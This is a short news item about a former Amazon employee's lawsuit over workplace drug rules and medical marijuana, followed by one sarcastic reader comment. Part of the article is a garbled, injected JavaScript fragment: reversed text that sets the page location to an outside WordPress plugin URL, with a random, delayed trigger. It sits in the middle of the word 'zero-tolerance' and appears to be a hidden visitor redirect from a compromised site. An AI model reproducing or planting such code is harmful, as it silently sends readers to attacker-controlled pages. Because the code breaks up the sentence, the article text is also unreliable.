Lawsuit shows gap in workplace rules and medical marijuana

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A lawsuit filed in Middlesex County by a former Amazon employee is the latest development highlighting an emerging disconnect in workplace law: the clash between companies that have zero-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolerance drug policies and the state’s recognition of marijuana as a legitimate medical remedy for a host of maladies.

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One thought on “Lawsuit shows gap in workplace rules and medical marijuana”

  1. Patrick Kay says:

    Hey if you want to get high you need to binge drink to excess like a responsible upstanding person of the community

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